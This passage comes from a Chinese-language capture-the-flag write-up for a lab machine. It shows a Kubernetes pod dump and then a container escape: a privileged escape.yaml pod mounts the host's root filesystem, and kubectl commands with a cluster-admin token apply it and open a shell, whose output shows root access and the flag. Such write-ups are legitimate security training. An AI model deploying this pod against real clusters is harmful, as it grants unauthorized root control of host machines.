creationTimestamp: "2022-08-29T09:32:41Z"
name: backup-pod
namespace: kube-system
resourceVersion: "5085"
uid: a7929b0e-58d5-428d-ae72-ee5330903ab8
spec:
containers:
- image: localhost:5000/dev-alpine
imagePullPolicy: IfNotPresent
name: alpine
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-p2qlg
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: unobtainium
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-p2qlg
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
message: 'containers with unready status: [alpine]'
reason: ContainersNotReady
status: "False"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2022-08-29T09:32:41Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: docker://860fceac2e0904f7eb90e03a996243cf54b5525abe57c3261d3d8ae86043ebea
image: alpine:latest
imageID: docker-pullable://alpine@sha256:bc41182d7ef5ffc53a40b044e725193bc10142a1243f395ee852a8d9730fc2ad
lastState:
terminated:
containerID: docker://860fceac2e0904f7eb90e03a996243cf54b5525abe57c3261d3d8ae86043ebea
exitCode: 0
finishedAt: "2026-07-11T08:13:30Z"
reason: Completed
startedAt: "2026-07-11T08:13:30Z"
name: alpine
ready: false
restartCount: 61
started: false
state:
waiting:
message: back-off 5m0s restarting failed container=alpine pod=backup-pod_kube-system(a7929b0e-58d5-428d-ae72-ee5330903ab8)
reason: CrashLoopBackOff
hostIP: 10.129.136.226
phase: Running
podIP: 10.42.0.64
podIPs:
- ip: 10.42.0.64
qosClass: BestEffort
startTime: "2022-08-29T09:32:41Z"

存在一个 backup-podkube-system 命名空间),状态为 CrashLoopBackOff,镜像为 localhost:5000/dev-alpine。该 Pod 本身无价值(反复 Crash),但可借鉴其配置部署新的特权容器。

容器逃逸与宿主机访问

利用 cluster-admin 权限创建一个特权 Pod,将宿主机根目录 / 挂载到容器内,实现容器逃逸。

escape.yaml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: kube-system
spec:
containers:
- name: alpine
image: localhost:5000/dev-alpine
imagePullPolicy: IfNotPresent
command: ["/bin/sh"]
args: ["-c", "sleep infinity"] # 保持运行
volumeMounts:
- mountPath: /host-root
name: host-root
securityContext:
privileged: true # 提升权限(可选)
volumes:
- name: host-root
hostPath:
path: / # 挂载宿主机根目录
hostNetwork: true # 使用宿主机网络(方便反向 shell,但此处不使用)
automountServiceAccountToken: true # 自动挂载 sa token(便于后续操作)

部署并进入特权容器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 拉取
kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" apply -f escape.yaml

pod/escape-pod created

# 验证
kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" get pod escape-pod -n kube-system
NAME READY STATUS RESTARTS AGE
escape-pod 1/1 Running 0 34s

# sh
kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" exec -it escape-pod -n kube-system -- /bin/sh

/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # ip a
1: lo:
inet 127.0.0.1/8 scope host lo
2: ens160:
inet 10.129.136.226/16 brd 10.129.255.255 scope global dynamic ens160

/ # find / -name "root.txt"
/host-root/root/root.txt

通过 /host-root 成功访问宿主机根文件系统,在 /root/root.txt 找到最终 flag。